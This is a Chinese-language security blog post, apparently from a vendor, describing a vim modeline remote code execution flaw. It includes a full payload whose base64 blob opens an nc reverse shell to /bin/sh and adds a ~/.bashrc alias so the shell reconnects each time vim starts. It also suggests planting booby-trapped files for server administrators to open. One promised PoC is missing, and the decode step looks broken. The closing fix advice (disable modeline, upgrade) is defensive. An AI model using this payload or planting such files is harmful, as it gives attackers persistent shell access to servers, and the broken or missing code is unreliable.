linux系统一直以来都是比较安全的,不管是系统内核还是一些第三方软件都没有太大的漏洞,包括前几年爆出的redis漏洞,没有太多漏洞,然后最近linux频频爆出高危的漏洞,使用vim文本编辑器很多年了,得知被爆出远程代码执行漏洞,有点不可思议,全国大多数的linux服务器都使用的是vim,包括centos系统,redhat,关于该漏洞的详情以及修复方案,我们SINE安全来详细的跟大家介绍一下:
Linux vim漏洞详情
我们来看一下这个linux漏洞的利用条件,首先vim编辑器的版本是在8.0上下的,目前很多linux服务器都是8.0左右的版本,大部分的linux服务器受该漏洞的影响,再一个利用的条件是开启modeline选项,默认的vim配置是不自动开启的,所以漏洞的产生是要开启这个选项,很多低版本的VIM都不会开启,所以漏洞的影响范围降低了。我们来复现这个VIM POC漏洞,在VIM的配置文件里开启modeline,并保存。POC代码如下:
上面的漏洞是可以用来远程执行的,反向代理到我们自己的IP,进行后门连接,上面代码里的十六进制字符要转化成二进制的表现形式,然后将反斜杠的转义字符删除掉,可以将n写成回车键,这样就可以NC后门监听到我们自己的电脑IP,建立起远程反弹后门,对linux进行操作。
我们在实际漏洞测试当中还发现上面的POC代码并不能持久化的建立后门连接,运行一次后,第二次运行只能是普通文本的方式运行了,我们可以构造一下宏的木马后门,每次运行vim命令都执行我们设定好的木马后门NC反弹地址,代码如下:
[?7lSNothingqy:silent! w | call system('echo "IG5vaHVwIG5jIDEyNy4wLjAuMSA5OTk5IC1lIC9iaW4vc2ggPi9kZXYvbnVsbCAyPiYxICYgZWNobyAiYWxpYXMgdmltPSd2aW0gLWMgXCJAeVwiJ1xuIHNob3B0IC1zIGV4cGFuZF9hbGlhc2VzXG4iID4+IH4vLmJhc2hyYw=="| -d | sh') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set fde=x | source! %') fdl=0: [1G[KNothing."[Dq
整个linux vim漏洞利用前提是要开启这个modeline配置,很多服务器默认是不开启这个选项的,不过有些服务器的系统版本包括centos 6.0版本的都会开启这个配置,有些服务器运维人员可能会下载配置文件,以及代码,可以直接在代码里加入后门,让他们VIM编辑的时候触发漏洞,总之只要打开了这个文件就会中招,关于该linux 漏洞的修复,建议将modeline关闭,并升级VIM到最新版本。